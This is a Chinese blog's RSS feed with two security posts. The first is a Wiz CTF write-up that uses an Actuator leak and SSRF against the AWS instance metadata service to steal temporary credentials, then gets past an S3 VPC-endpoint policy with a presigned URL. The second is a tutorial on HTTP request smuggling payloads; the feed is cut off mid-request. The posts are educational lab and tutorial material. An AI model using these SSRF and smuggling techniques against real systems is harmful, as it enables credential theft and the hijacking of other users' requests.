<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Tremseの部屋</title>
  
  <subtitle>欢迎喵~</subtitle>
  <link href="https://101.43.94.206/rss.xml" rel="self"/>
  
  <link href="https://101.43.94.206/"/>
  <updated>2025-12-10T00:53:40.279Z</updated>
  <id>https://101.43.94.206/</id>
  
  <author>
    <name>Tremse</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Wiz CTF 打靶记录</title>
    <link href="https://101.43.94.206/2025/12/10/wiz-ctf/"/>
    <id>https://101.43.94.206/2025/12/10/wiz-ctf/</id>
    <published>2025-12-10T00:40:53.000Z</published>
    <updated>2025-12-10T00:53:40.279Z</updated>
    
    <content type="html"><![CDATA[<h2 id="perimeter-leak"><a href="#Perimeter-Leak" class="headerlink" title="Perimeter Leak"></a>Perimeter Leak</h2><blockquote><p>After weeks of exploits and privilege escalation you’ve gained access to what you hope is the final server that you can then use to extract out the secret flag from an S3 bucket.</p><p>It won’t be easy though. The target uses an AWS data perimeter to restrict access to the bucket contents.</p><p>Good luck!</p></blockquote><p>​告知存在 Actuator 泄漏, 直接访问它:</p><pre><code class="json">&#123;  &quot;_links&quot;: &#123;    &quot;self&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator&quot;,      &quot;templated&quot;: false    &#125;,    &quot;beans&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator/beans&quot;,      &quot;templated&quot;: false    &#125;,    &quot;caches&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator/caches&quot;,      &quot;templated&quot;: false    &#125;,    &quot;caches-cache&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator/caches/&#123;cache&#125;&quot;,      &quot;templated&quot;: true    &#125;,    &quot;health&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator/health&quot;,      &quot;templated&quot;: false    &#125;,    &quot;health-path&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator/health/&#123;*path&#125;&quot;,      &quot;templated&quot;: true    &#125;,    &quot;info&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator/info&quot;,      &quot;templated&quot;: false    &#125;,    &quot;conditions&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator/conditions&quot;,      &quot;templated&quot;: false    &#125;,    &quot;configprops&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator/configprops&quot;,      &quot;templated&quot;: false    &#125;,    &quot;configprops-prefix&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator/configprops/&#123;prefix&#125;&quot;,      &quot;templated&quot;: true    &#125;,    &quot;env&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator/env&quot;,      &quot;templated&quot;: false    &#125;,    &quot;env-toMatch&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator/env/&#123;toMatch&#125;&quot;,      &quot;templated&quot;: true    &#125;,    &quot;loggers&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator/loggers&quot;,      &quot;templated&quot;: false    &#125;,    &quot;loggers-name&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator/loggers/&#123;name&#125;&quot;,      &quot;templated&quot;: true    &#125;,    &quot;threaddump&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator/threaddump&quot;,      &quot;templated&quot;: false    &#125;,    &quot;metrics-requiredMetricName&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator/metrics/&#123;requiredMetricName&#125;&quot;,      &quot;templated&quot;: true    &#125;,    &quot;metrics&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator/metrics&quot;,      &quot;templated&quot;: false    &#125;,    &quot;sbom&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator/sbom&quot;,      &quot;templated&quot;: false    &#125;,    &quot;sbom-id&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator/sbom/&#123;id&#125;&quot;,      &quot;templated&quot;: true    &#125;,    &quot;scheduledtasks&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator/scheduledtasks&quot;,      &quot;templated&quot;: false    &#125;,    &quot;mappings&quot;: &#123;      &quot;href&quot;: &quot;http://127.0.0.1:8080/actuator/mappings&quot;,      &quot;templated&quot;: false    &#125;  &#125;&#125;</code></pre><p>有价值的配置有这些:</p><ul><li><code>/actuator/env</code>  : 显示应用程序的所有环境变量、系统属性、配置文件配置</li><li><code>/actuator/configprops</code> : 显示所有配置属性的解析结果</li><li><code>/actuator/mappings</code> : 显示所有 HTTP 路由映射（Controller 的路径）</li><li><code>/actuator/threaddump</code> : 显示 JVM 当前所有线程的堆栈信息</li><li><code>/actuator/sbom</code> : 软件物料清单 (Software Bill of Materials)，列出了应用依赖的所有库及版本。</li><li><code>/actuator/loggers</code> : 查看和修改日志级别</li></ul><p>抛开这个环境不谈的话, 还有如下可能出现的端点:</p><ul><li><p><code>/actuator/heapdump</code> : 内存快照, 通常存在大量有价值的信息</p></li><li><p><code>/actuator/jolokia</code> : <strong>Jolokia</strong> 是一个 JMX-HTTP 桥接器</p><p>  <strong>JMX (Java Management Extensions)</strong> 是 Java 用于监控和管理应用程序的标准技术（通常使用 JConsole 或 JVisualVM 连接，走 RMI 协议）。</p><p>  Jolokia 将 JMX 的功能通过 <strong>HTTP + JSON</strong> 的方式暴露出来。通过 HTTP URL 可以直接读取 MBean 的属性、执行 MBean 的操作。</p></li><li><p><code>/actuator/refresh</code> : 配置热重载; 如果能修改环境变量或配置源，再触发 <code>/refresh</code>，就能让应用加载恶意的配置.</p></li></ul><p>回到本题. 我们先看 <code>env</code> , 会发现有个S3桶的 URL :</p><pre><code class="json">&#123;  &quot;activeProfiles&quot;: [],  &quot;defaultProfiles&quot;: [    &quot;default&quot;  ],  &quot;propertySources&quot;: [    &#123;      ...    &#125;,    &#123;      &quot;name&quot;: &quot;servletContextInitParams&quot;,      &quot;properties&quot;: &#123;      &#125;    &#125;,    &#123;      &quot;name&quot;: &quot;systemProperties&quot;,      &quot;properties&quot;: &#123;        ...          &quot;user.name&quot;: &#123;              &quot;value&quot;: &quot;ec2-user&quot;        &#125;,        ...      &#125;    &#125;,    &#123;      &quot;name&quot;: &quot;systemEnvironment&quot;,      &quot;properties&quot;: &#123;        ...        &quot;BUCKET&quot;: &#123;          &quot;value&quot;: &quot;challenge01-470f711&quot;,          &quot;origin&quot;: &quot;System Environment Property \&quot;BUCKET\&quot;&quot;        &#125;,        ...        &#125;      &#125;    &#125;,    &#123;      ...    &#125;,    &#123;      ...    &#125;  ]&#125;</code></pre><p>发现此处有一个 <code>BUCKET</code> 也就是存储桶了, 题中也提示存在 <code>S3 bucket</code>, 大概就是它了. 如果没有这个提示, 从 <code>user.name</code> 为 <code>ec2-user</code> 中也能看出来.</p><blockquote><p>补充知识-EC2 : </p><p><strong>EC2</strong> 的全称是 <strong>Amazon Elastic Compute Cloud</strong> (亚马逊弹性计算云), 提供各种云服务. </p></blockquote><p>现在我们尝试访问他; 这里我们要知道存储桶的一些知识:</p><ul><li><p>在一个云厂商的系统内，Bucket 名称是全球唯一的;</p></li><li><p>其存在相对格式化的URL:</p><ul><li><p><code>https://&lt;bucket-name&gt;.&lt;service&gt;.&lt;region&gt;.amazonaws.com</code>(region不一定需要)</p></li><li><p><code>https://&lt;service&gt;.&lt;region&gt;.amazonaws.com/&lt;bucket-name&gt;</code>(旧版)</p><p>  例如:</p></li><li><p><code>https://challenge01-470f711.s3.amazonaws.com</code></p></li><li><p><code>https://challenge01-470f711.s3.us-east-1.amazonaws.com</code></p></li><li><p><code>https://s3.us-east-1.amazonaws.com/challenge01-470f711</code></p></li></ul></li></ul><p>好, 知道了URL我们就可以尝试去访问这个存储桶, 这里即是 <code>https://challenge01-470f711.s3.us-east-1.amazonaws.com</code>: </p><pre><code class="html">&lt;Error&gt;&lt;Code&gt;AccessDenied&lt;/Code&gt;&lt;Message&gt;Access Denied&lt;/Message&gt;&lt;RequestId&gt;BKM5WZQCGYBNPRPK&lt;/RequestId&gt;&lt;HostId&gt;2Zg/gsbjd1cf/ARxidr7izHjKd/WH8r9yLHF5o/ZMH0kx403zS4GXbib8p+vnhfcN3WW2hvovzU=&lt;/HostId&gt;&lt;/Error&gt;</code></pre><p>被拦下来了, 这条路暂且走不通, 得去找凭证</p><p>这里可以看看 hint2, 或者再看看 <code>/actuator/mappings</code> , 会发现有个 <code>proxy</code> 端点:</p><pre><code>&#123;    &quot;predicate&quot;: &quot;&#123; [/proxy], params [url]&#125;&quot;,    &quot;handler&quot;: &quot;challenge.Application#proxy(String)&quot;,    &quot;details&quot;: &#123;    &quot;handlerMethod&quot;: &#123;        &quot;className&quot;: &quot;challenge.Application&quot;,        &quot;name&quot;: &quot;proxy&quot;,        &quot;descriptor&quot;: &quot;(Ljava/lang/String;)Ljava/lang/String;&quot;    &#125;,        &quot;requestMappingConditions&quot;: &#123;        &quot;consumes&quot;: [],        &quot;headers&quot;: [],        &quot;methods&quot;: [],        &quot;params&quot;: [            &#123;            &quot;name&quot;: &quot;url&quot;,            &quot;negated&quot;: false            &#125;            ],        &quot;patterns&quot;: [            &quot;/proxy&quot;        ],        &quot;produces&quot;: []        &#125;    &#125;&#125;</code></pre><blockquote><p>Hint2 : <em>The endpoint &#x2F;proxy can be used to obtain IMDSv2 credentials</em></p><p>​     <em>端点 &#x2F;proxy 可用于获取 IMDSv2 凭证</em></p></blockquote><p>这里提示我们通过 <code>/proxy</code> 是可以拿到 IMDSv2的凭证的, 而拿这个凭证必须是服务内向 IMDS服务器(在内网)发送一些请求; 所以这里必然是存在 SSRF了.</p><p><strong>IMDS (Instance Metadata Service)</strong> 是 AWS EC2 实例内部的一个服务, 运行在 <code>169.254.169.254</code>. 它用于查询实例的信息 (IP、Region、IAM 凭证等); 也就是服务的元数据. IMDSv2 就是第二版的 IMDS;</p><p>而通过他, 我们可以获取到 <strong>IAM(Identity and Access Management) Role</strong> , 有了这个身份, 我们就可以尝试访问之前发现的 S3 存储桶了. 那么要如何拿到他呢? </p><p>我们可以阅读官方<a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html?ref=tresscross.blog">文档</a>, 但是不如读读别人的博客, 或者时代一点, 问问 Gemini; 总结下来就是如下流程:</p><ol><li><p>利用 SSRF, 使用 <code>PUT</code> 方法访问 <code>http://169.254.169.254/latest/api/token</code>. 用来得到临时 token, 在之后获取身份用得到.</p><p>由于这里使用的是IMDSv2, 所以需要获取这个token. 而大多数 ssrf 没法这个简单用 <code>PUT</code> 方法, 所以相对更为安全</p><p>用 <code>PUT</code> 请求:</p><pre><code>/proxy?url=http://169.254.169.254/latest/api/token</code></pre><p><code>headers</code> 中携带 <code>X-aws-ec2-metadata-token-ttl-seconds: 21600</code>, 这是用来规定 token 有效期的(单位为秒)</p></li><li><p>接着我们就能用这个临时 token 来得到 Role 了.</p><p>用 <code>GET</code> 请求:</p><pre><code>/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/</code></pre><p><code>headers</code> 中携带 <code>X-aws-ec2-metadata-token: AQ****y7NQ==</code></p><p>这样我们就能得到 Role : <code>challenge01-5592***</code></p></li><li><p>然后再利用这个 Role 来得到 AK&#x2F;SK .</p><p>用 <code>GET</code> 请求:</p><pre><code>/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592***</code></pre><p><code>headers</code> 中携带 <code>X-aws-ec2-metadata-token: AQ****y7NQ==</code></p><p>这样我们就能得到一个json, 其中包含着 AK&#x2F;SK 等我们需要的信息:</p><pre><code class="json">&#123;  &quot;Code&quot;: &quot;Success&quot;,  &quot;LastUpdated&quot;: &quot;2025-12-09T12:51:24Z&quot;,  &quot;Type&quot;: &quot;AWS-HMAC&quot;,  &quot;AccessKeyId&quot;: &quot;ASIA***VPCWU6&quot;,  &quot;SecretAccessKey&quot;: &quot;KBRqXS***c0NaK+mumHaui+s&quot;,  &quot;Token&quot;: &quot;IQoJb3JpZ2luX2***SE/QktGA=&quot;,  &quot;Expiration&quot;: &quot;2025-12-09T19:10:49Z&quot;&#125;</code></pre></li></ol><p>有了这个 AccessKeyId 和 SecretAccessKey (即 AK&#x2F;SK ), 加上 Token 就可以去访问 S3 桶了;</p><blockquote><p>这里的 Token 是什么 Token?</p><p>这是 <strong>AWS STS (Security Token Service) Session Token</strong> ; 作为临时用户, 需要他来进行各种认证(比如这里的 S3)</p><p>由于 EC2 的 IAM Role使用的是临时凭证<strong>。临时凭证必须由三部分组成：</strong>AK + SK + Token 。</p></blockquote><p>接着, 我们把拿到的这些东西放到环境变量中(临时):</p><pre><code class="shell">export AWS_ACCESS_KEY_ID=&quot;XXXXXXX&quot;export AWS_SECRET_ACCESS_KEY=&quot;XXXXXXX&quot;export AWS_SESSION_TOKEN=&quot;XXXXXXX&quot; </code></pre><p>利用 <code>aws sts get-caller-identity</code> 可以验证身份, 将会得到类似以下的输出:</p><pre><code class="json">&#123;    &quot;UserId&quot;: &quot;AROA***E3DV:i-0bfc4291dd0acd279&quot;,    &quot;Account&quot;: &quot;092***374&quot;,    &quot;Arn&quot;: &quot;arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279&quot;&#125;</code></pre><p>这样就算是配置成功了, 接下来我们直接来看看这个桶里究竟有什么:</p><pre><code class="shell"># aws s3 ls s3://challenge01-470f711                            PRE private/2025-06-19 01:15:24         29 hello.txt</code></pre><p>发现一个 <code>private</code>, 这是个目录, 看看里面有什么:</p><pre><code class="shell"># aws s3 ls s3://challenge01-470f711/private/2025-06-17 06:01:49         51 flag.txt</code></pre><p>终于是找到 flag 了, 现在我们直接把整个目录扒下来, 放在本地的当前目录下:</p><pre><code class="shell"># aws s3 sync s3://challenge01-470f711/private/ .download failed: s3://challenge01-470f711/private/flag.txt to ./flag.txt An error occurred (AccessDenied) when calling the GetObject operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: s3:GetObject on resource: &quot;arn:aws:s3:::challenge01-470f711/private/flag.txt&quot; with an explicit deny in a resource-based policy</code></pre><p>ono, 报错了, 很容易看出来是权限问题. 没事, 看看这里的 policy 是什么说法:</p><pre><code class="shell">aws s3api get-bucket-policy --bucket challenge01-470f711 --query &quot;Policy&quot; --output text | jq .</code></pre><p>这条指令中, 有几个值得关注的点:</p><ul><li><code>aws s3api</code> 是底层命令, 直接对应 AWS 的 API 接口. 它可以进行更精细的配置管理, 比如查看策略、修改权限等</li><li><code>--query &quot;Policy&quot; --output text</code>, 由于之前指令会返回很多元数据, 这里我们只取 <code>Policy</code> ; 然后使用 text 的形式输出, 因为 Policy 本身是一个被转义的 JSON 字符串, 如果不加这个, 得到的会是一堆带有 <code>\</code> 的, 不好看的东西。</li><li><code>jq .</code> : 美化 json</li></ul><pre><code class="json">&#123;  &quot;Version&quot;: &quot;2012-10-17&quot;,  &quot;Statement&quot;: [    &#123;      &quot;Effect&quot;: &quot;Deny&quot;,      &quot;Principal&quot;: &quot;*&quot;,      &quot;Action&quot;: &quot;s3:GetObject&quot;,      &quot;Resource&quot;: &quot;arn:aws:s3:::challenge01-470f711/private/*&quot;,      &quot;Condition&quot;: &#123;        &quot;StringNotEquals&quot;: &#123;          &quot;aws:SourceVpce&quot;: &quot;vpce-0dfd8b6aa1642a057&quot;        &#125;      &#125;    &#125;  ]&#125;</code></pre><p>这就是一个在一定情况下做出特定反应的规则, Bucket Policy 可以视作一个<strong>规则引擎</strong>, 这是其中一条规则(官方称之为 <strong>Policy evaluation logic</strong>, 详见<a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic.html">Policy evaluation logic</a>)</p><p>这条规则的结果就是,  如果 (请求来源的 VPCE ID) <strong>不等于</strong>（<code>vpce-0dfd8b6aa1642a057</code>），则执行 <code>Deny</code>。<code>aws:SourceVpce</code> 是一个 AWS 全局条件键, 代表请求经过的 VPC Endpoint ID. 而 <strong>VPCE (VPC Endpoint)</strong> 是 AWS 内部的一条<strong>私有隧道</strong>。它允许 EC2 实例直接连接到 S3，而流量完全不经过公共互联网。</p><p>也就是说, 我们必须通过这个 VPC 来拿到 flag. 这时我们就能用上 S3 预签名 URL 这个机制, 加上 SSRF 的能力, 来拿到 flag.</p><blockquote><p>S3 预签名 URL (Presigned URL) :</p><p>由于 S3 默认是私有的 (Private). 只有拥有 IAM 权限的用户才能访问. 但是或许存在需要将资源分享, 售卖等情况, 此时不可能直接给出 AWS IAM AK&#x2F;SK, 所以就需要一种别的认证方式. S3 预签名 URL 就是解决这类问题的方案之一.</p><p>它是一种<strong>“凭证前置”</strong>机制, 把权限封装在 URL 里, 让没有 AWS 账号的人也能临时访问特定资源. </p><p>原理上, 生成预签名 URL 是一个纯本地的加密计算过程.</p><p>执行 <code>aws s3 presign</code> 来进行预签名. AWS CLI 并没有去连接 AWS 服务器, 它只是在本地进行动作。它基于 <strong>AWS Signature V4</strong> 协议，将以下信息进行哈希和签名：</p><ul><li><p><strong>动作 (Action):</strong> <code>GET</code> (默认)</p></li><li><p><strong>资源 (Resource):</strong> <code>/bucket/object</code></p></li><li><p><strong>时间 (Time):</strong> 生成时间和过期时间</p></li><li><p><strong>身份 (Identity):</strong> AccessKeyID</p></li><li><p><strong>签名 (Signature):</strong> 用你的 Secret Access Key 对上述信息进行 HMAC-SHA256 加密.</p></li></ul><p>然后生成一个 URL, 这就是预签名完成的 URL 了, 可以用它访问内容.</p></blockquote><p>这时我们签出来一个允许访问 <code>/private/flag.txt</code> 的 URL:</p><pre><code class="shell">aws s3 presign s3://challenge01-470f711/private/flag.txt --expires-in 900</code></pre><p>这里签出来一个 900 秒的, 对 <code>/private/flag.txt</code> 有权限的 URL, 再利用 SSRF 访问这里, 就是 VPC 的访问了;</p><p>这里注意要对生成出来的 URL 做一次 URL 编码, 否则SSRF 时会解析一次, 导致截断.</p><p>用 <code>GET</code> 请求:</p><pre><code>https://challenge01.cloud-champions.com/proxy?url=https://challenge01-470f711.s3.amazonaws.com/private/flag.txt?***85a1c702ed9 </code></pre><p>这样就成功拿到flag了!</p><blockquote><p>本题参考:</p><p><a href="https://tresscross.blog/perimeter-leak-wiz-cloud-ctf-june/">https://tresscross.blog/perimeter-leak-wiz-cloud-ctf-june/</a></p><p><a href="https://lintian31.github.io/2025/11/19/wiz-%E6%9C%80%E7%AE%80%E5%8D%95%E7%9A%84%E4%B8%80%E9%81%93%E9%A2%98/">https://lintian31.github.io/2025/11/19/wiz-%E6%9C%80%E7%AE%80%E5%8D%95%E7%9A%84%E4%B8%80%E9%81%93%E9%A2%98/</a></p></blockquote>]]></content>
    
    
    <summary type="html">复现 Wiz CTF 的各个题目, 同时写的记录喵~</summary>
    
    
    
    <category term="CTF" scheme="https://101.43.94.206/categories/CTF/"/>
    
    
    <category term="Cloud Security" scheme="https://101.43.94.206/tags/Cloud-Security/"/>
    
  </entry>
  
  <entry>
    <title>HTTP/1 请求走私</title>
    <link href="https://101.43.94.206/2025/10/23/%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81/"/>
    <id>https://101.43.94.206/2025/10/23/%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81/</id>
    <published>2025-10-23T14:56:44.000Z</published>
    <updated>2025-10-23T15:00:48.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="什么是-http-请求走私"><a href="#什么是-HTTP-请求走私" class="headerlink" title="什么是 HTTP 请求走私?"></a>什么是 HTTP 请求走私?</h2><p>&emsp;&emsp;由于后端解析 <code>HTTP</code> 请求的实现存在漏洞, 使得攻击者可以构造一个请求, 这个请求可以被后端解析为多个请求, 就达到了将请求”走私”到后端;</p><p>&emsp;&emsp;通过此方法, 可以绕过一些反代的检查, 或者后端对于请求头的检查, 处理等.</p><p>&emsp;&emsp;注意, 之后提到的<em>前端服务, 后端服务</em>指的是两个服务产生的服务链, 并非通俗意义的前端与后端</p><h2 id="请求走私是如何产生的"><a href="#请求走私是如何产生的" class="headerlink" title="请求走私是如何产生的?"></a>请求走私是如何产生的?</h2><p>&emsp;&emsp;许多请求走私的发生是因为 <code>HTTP/1</code> 规范提供了两种不同的方法来指定请求的结束位置: <code>Content-Length</code> 头和 <code>Transfer-Encoding</code> 头.</p><p>&emsp;&emsp;<code>Content-Length</code> 头非常简单, 他指定了当前请求的 <code>body</code> 的长度(单位为字节);</p><p>&emsp;&emsp;而 <code>Transfer-Encoding</code> 头可以指定 <code>body</code> 使用分块编码, 这意味着当前的 <code>body</code> 包含着若干数据块, 每个快由若干字节组成, 以换行符为分隔, 直到块的大小为零. 这里给出一个示例:</p><pre><code class="http">POST /search HTTP/1.1Host: normal-website.comContent-Type: application/x-www-form-urlencodedTransfer-Encoding: chunkedbq=smuggling0</code></pre><p>&emsp;&emsp;由于 <code>HTTP/1</code> 提供了两种不同的方法来指定 <code>HTTP</code> 消息的产读, 因此单个消息可以同时使用这两种方法, 从而使他们产生冲突. 根据 <code>HTTP</code> 规范, 同时存在这两种头时, 应当忽略 <code>Content-Length</code> . 这在单个服务的情况下是有效的, 但是当存在更多服务组成的服务链时, 就可能会发生意外, 原因如下:</p><ul><li>某些服务不支持 <code>Transfer-Encoding</code> 标头.</li><li>如果 <code>Transfer-Encoding</code> 被以某种方式混淆, 使得该服务不处理这个标头</li></ul><p>&emsp;&emsp;如果前端服务与后端服务的行为因为对 <code>Transfer-Encoding</code> 标头的不同的处理而产生了不同的行为, 那么这两个服务可能会对连续的请求之间的边界产生混淆, 从而导致请求走私.</p><p>&emsp;&emsp;当然, 这是一种比较经典的, 具备一定泛用性的请求走私手段, 根据服务的解析不同, 也可能存在诸多针对性的走私方法.</p><blockquote><p>&emsp;&emsp;使用 <code>HTTP/2</code> 的服务本质上不受这类请求走私攻击的影响,  因为其单个报文由多个帧组成, 每个帧有一定的长度,  并设定在每个帧的头子段, 不会产生混淆.</p><p>&emsp;&emsp;然而在实际环境中, 有许多 <code>HTTP/2</code> 只部署在其前端服务上, 后端服务只支持 <code>HTTP/1</code> , 这使得在前端服务将请求转发给后端服务时必须将其转换为 <code>HTTP/1</code> 的形式, 这就是 <strong>HTTP降级</strong>, 如此一来还是存在走私风险的.具体再述.</p></blockquote><h2 id="攻击手法"><a href="#攻击手法" class="headerlink" title="攻击手法"></a>攻击手法</h2><p>&emsp;&emsp;经典的请求走私攻击会在同一个请求中同时设定 <code>Content-Length</code> 和 <code>Transfer-Encoding</code>, 使得前端服务和后端服务对其产生不同步操作, 如何设定主要取决于两个服务器的具体行为:</p><ul><li><strong>CL. TE</strong>: 前端服务使用 <code>Content-Length</code> 解析, 后端服务用 <code>Transfer-Encoding</code> 解析. 后略</li><li><strong>TE. CL</strong></li><li><strong>TE. TE</strong></li></ul><p>&emsp;&emsp;这些手法只能使用 <code>HTTP/1</code> 进行攻击. 浏览器或者其他客户端与服务器进行 TLS 握手时, 若服务器表明支持 <code>HTTP/2</code> , 会默认使用 <code>HTTP/2</code> 进行通信, 因此在测试支持 <code>HTTP/2</code>  的服务时需要手动更换协议.</p><h3 id="cl-te-漏洞"><a href="#CL-TE-漏洞" class="headerlink" title="CL. TE 漏洞"></a>CL. TE 漏洞</h3><p>&emsp;&emsp;这里可以直接给出一个列子:</p><pre><code class="http">POST / HTTP/1.1Host: vulnerable-website.comContent-Length: 13Transfer-Encoding: chunked0SMUGGLED</code></pre><p>&emsp;&emsp;在前端服务, 它解析 <code>Content-Length</code> 头来判定报文长度, 在这里, 它将 <code>body</code> 中的所有内容全部视作当前请求的内容. 而转发至后端服务后, 后端服务认为, 到 <code>0</code> 为止为第一个请求, 而之后的就是第二个请求了, 这里 <code>SMUGGLED</code> 的内容就被认为是下一个请求报文, 达到走私这个报文的目的.</p><h3 id="te-cl-漏洞"><a href="#TE-CL-漏洞" class="headerlink" title="TE. CL 漏洞"></a>TE. CL 漏洞</h3><p>&emsp;&emsp;这里给出一个例子:</p><pre><code class="http">POST / HTTP/1.1Host: vulnerable-website.comContent-Length: 3Transfer-Encoding: chunked8SMUGGLED0</code></pre><p>&emsp;&emsp;前端解析 <code>Transfer-Encoding</code> 头, 认为这是同一个请求报文. 而后端解析中, <code>Cotent-Length</code> 为 3 , 使得从 <code>SMUGGLED</code> 开始被认为是第二个请求报文, 这里由于 <code>body</code> 第一行隐藏了 <code>\r\n</code> 故长度为 3 . 故将其之后的所有内容视作下一个请求报文,  达到走私这个报文的目的. 至于冗余的 <code>0</code> , 可以考虑忽略, 并不会产生什么影响</p><h3 id="te-te-漏洞"><a href="#TE-TE-漏洞" class="headerlink" title="TE. TE 漏洞"></a>TE. TE 漏洞</h3><p>&emsp;&emsp;触发此类型的漏洞的思路就是混淆 TE 头来使得前端服务和后端服务解析不同步. 例如下列尝试:</p><pre><code>Transfer-Encoding: xchunkedTransfer-Encoding : chunkedTransfer-Encoding: chunkedTransfer-Encoding: xTransfer-Encoding:[tab]chunked[space]Transfer-Encoding: chunkedX: X[\n]Transfer-Encoding: chunkedTransfer-Encoding: chunked</code></pre><p>&emsp;&emsp;由于实现 <code>HTTP</code> 头解析的是开发者, 很难兼顾所有可能性(尤其是小型解析器), 所以混淆的方法是非常多样的. </p><h2 id="如何判定是否存在请求走私"><a href="#如何判定是否存在请求走私" class="headerlink" title="如何判定是否存在请求走私"></a>如何判定是否存在请求走私</h2><p>&emsp;&emsp;接下来讲述如何查找某个站点是否存在请求走私漏洞</p><h4 id="通过时间差异来判定"><a href="#通过时间差异来判定" class="headerlink" title="通过时间差异来判定"></a>通过时间差异来判定</h4><p>&emsp;&emsp;测试请求走私普遍有效的方式是发送一个 <strong>如果存在此漏洞, 就会会产生延迟</strong> 的请求, 在 <code>Burp</code> 自带的扫描器中, 就是用这种方式来检测请求走私的.</p><h4 id="针对-cl-te-类型走私的时序检查"><a href="#针对-CL-TE-类型走私的时序检查" class="headerlink" title="针对 CL. TE 类型走私的时序检查"></a>针对 CL. TE 类型走私的时序检查</h4><p>&emsp;&emsp;我们可以构造类似于如下请求:</p><pre><code class="http">POST / HTTP/1.1Host: vulnerable-website.comTransfer-Encoding: chunkedContent-Length: 41AX</code></pre><p>&emsp;&emsp;由于前端服务使用 <code>CL</code> 来判定 <code>body</code> 长度, 所以在前端服务这是一个请求, 会省略 <code>X</code> 的内容. 然而后端服务解析时会认为还会有接下来的块, 并开始等待, 就是这个过程产生了延时, 使得我们能够推断其可能存在解析差异, 进而尝试其他的攻击载荷.</p><h5 id="针对-te-cl-类型走私的检查"><a href="#针对-TE-CL-类型走私的检查" class="headerlink" title="针对 TE. CL 类型走私的检查"></a>针对 TE. CL 类型走私的检查</h5><p>&emsp;&emsp;可以和前述方式类比, 构造如下测试请求:</p><pre><code class="http">POST / HTTP/1.1Host: vulnerable-website.comTransfer-Encoding: chunkedContent-Length: 60X</code></pre><p>&emsp;&emsp;前端服务解析其为单个请求报文, 并且忽略0之后的内容. 后端服务解析时, 指定 <code>body</code> 长度为6, 然而其长度并不够, 所以会等待继续传输, 从而产生延迟</p><blockquote><p>&emsp;&emsp;注意, 如果对一个存在 CL. TE 漏洞的站点测试 TE. CL 测试, 则可能会意外导致其他用户的请求意外拼接在我们的测试后, 进而产生一些影响. 举个例子, 我们用一下请求测试一个实际存在 CL. TE<br>漏洞的站点:</p><pre><code class="http">POST /test HTTP/1.1Host: vulnerable-website.comTransfer-Encoding: chunked Content-Length: 100Connection: keep-alive5AAAAA           0MORE_TEST_DATA</code></pre><p>&emsp;&emsp;首先, 我们原本期待 <code>MORE_TEST_DATA</code> 是不会到达后端服务的, 从而卡住后端服务; 但是现在不一样了, 前端服务解析后将 <code>MORE_TEST_DATA</code> 的部分或者全部内容全部转发至后端, 而后端会将这部分内容当作第二个请求解析.</p><p>&emsp;&emsp;此时如果有无辜用户的请求进入后端服务的处理缓冲区(TCP缓冲区), 而这个请求之前其实还存在我们的 <code>MORE_TEST_DATA</code> , 服务会将它和用户请求当作同个请求解析, 造成问题.</p></blockquote><h3 id="通过响应差异来判定"><a href="#通过响应差异来判定" class="headerlink" title="通过响应差异来判定"></a>通过响应差异来判定</h3><p>&emsp;&emsp;使用时间延迟可能存在请求走私可能的情况下, 可以继续根据响应的不同来确定其存在. 我们向应用程序连续发送两个请求:</p><ul><li>第一个请求, 旨在影响下一个请求的结果</li><li>一个看似正常的请求</li></ul><p>&emsp;&emsp;如果正常请求的响应存在预期的干扰, 则可以实锤漏洞的存在. 给出一个例子, 假设正常的请求如下:</p><pre><code class="http">POST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 11q=smuggling</code></pre><p>&emsp;&emsp;接下来我们分攻击类型来分析干扰请求需要如何构造</p><h4 id="根据响应差异来确定-cl-te-漏洞"><a href="#根据响应差异来确定-CL-TE-漏洞" class="headerlink" title="根据响应差异来确定 CL. TE 漏洞"></a>根据响应差异来确定 CL. TE 漏洞</h4><p>&emsp;&emsp;在发送正常请求前, 发送如下攻击请求:</p><pre><code class="http">POST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 49Transfer-Encoding: chunkedeq=smuggling&amp;x=0GET /404 HTTP/1.1Foo: x</code></pre><p>&emsp;&emsp;如果请求走私成功, 那么后续的”正常”请求就会将会变成如下样式:</p><pre><code class="http">GET /404 HTTP/1.1Foo: xPOST /search HTTP/1.1Host: vulnerable-website.comContent-Type: 